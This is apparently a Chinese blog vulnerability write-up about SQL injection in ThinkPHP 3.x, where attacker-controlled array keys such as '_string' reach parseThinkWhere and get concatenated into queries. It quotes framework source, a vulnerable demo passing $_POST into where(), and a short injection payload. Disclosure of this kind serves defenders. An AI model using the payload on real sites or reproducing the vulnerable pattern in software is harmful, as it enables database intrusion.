ThinkPHP3.x注入漏洞
- 发表于
- Vulndb
也不知道别人发过没,如有雷同纯属巧合
parseWhere:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
protected function parseWhere($where) { $whereStr = ''; if(is_string($where)) { // 直接使用字符串条件 $whereStr = $where; }else{ // 使用数组表达式 $operate = isset($where['_logic'])?strtoupper($where['_logic']):''; if(in_array($operate,array('AND','OR','XOR'))){ // 定义逻辑运算规则 例如 OR XOR AND NOT $operate = ' '.$operate.' '; unset($where['_logic']); }else{ // 默认进行 AND 运算 $operate = ' AND '; } foreach ($where as $key=>$val){ if(is_numeric($key)){ $key = '_complex'; } if(0===strpos($key,'_')) { // 解析特殊条件表达式 $whereStr .= $this->parseThinkWhere($key,$val); }else{ // 查询字段的安全过滤 // if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){ // E(L('_EXPRESS_ERROR_').':'.$key); // } // 多条件支持 $multi = is_array($val) && isset($val['_multi']); $key = trim($key); if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段 $array = explode('|',$key); $str = array(); foreach ($array as $m=>$k){ $v = $multi?$val[$m]:$val; $str[] = $this->parseWhereItem($this->parseKey($k),$v); } $whereStr .= '( '.implode(' OR ',$str).' )'; }elseif(strpos($key,'&')){ $array = explode('&',$key); $str = array(); foreach ($array as $m=>$k){ $v = $multi?$val[$m]:$val; $str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')'; } $whereStr .= '( '.implode(' AND ',$str).' )'; }else{ $whereStr .= $this->parseWhereItem($this->parseKey($key),$val); } } $whereStr .= $operate; } $whereStr = substr($whereStr,0,-strlen($operate)); } return empty($whereStr)?'':' WHERE '.$whereStr; } |
仔细看下这段代码:
1 2 3 |
if(0===strpos($key,'_')) { $whereStr .= $this->parseThinkWhere($key,$val); } |
如果说我的key可控,那么就可以parseThinkWhere这个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
protected function parseThinkWhere($key,$val) { $whereStr = ''; switch($key) { case '_string': // 字符串模式查询条件 $whereStr = $val; break; case '_complex': // 复合查询条件 $whereStr = substr($this->parseWhere($val),6); break; case '_query': // 字符串模式查询条件 parse_str($val,$where); if(isset($where['_logic'])) { $op = ' '.strtoupper($where['_logic']).' '; unset($where['_logic']); }else{ $op = ' AND '; } $array = array(); foreach ($where as $field=>$data) $array[] = $this->parseKey($field).' = '.$this->parseValue($data); $whereStr = implode($op,$array); break; } return '( '.$whereStr.' )'; } |
当$key等于_string的时候会将value拼接到whereStr中,此时会造成注入漏洞,当然case下面几个同理。
漏洞演示:
这个地方比较麻烦的在于key必须可控,这里就限制了很多,当然key可控的cms也很多,其中比较具有代表性的就算Thinkcmf了。
demo:
1 2 3 4 5 |
$data=array(); foreach($_POST as $key => $value){ $data[$key]=$value; } $valu = $User->where($data)->select(); |
此时POST数据传入:
1 |
_string=Id%3d1) and 1=1 -- -a |
截图:

本文作者:小透明,原文地址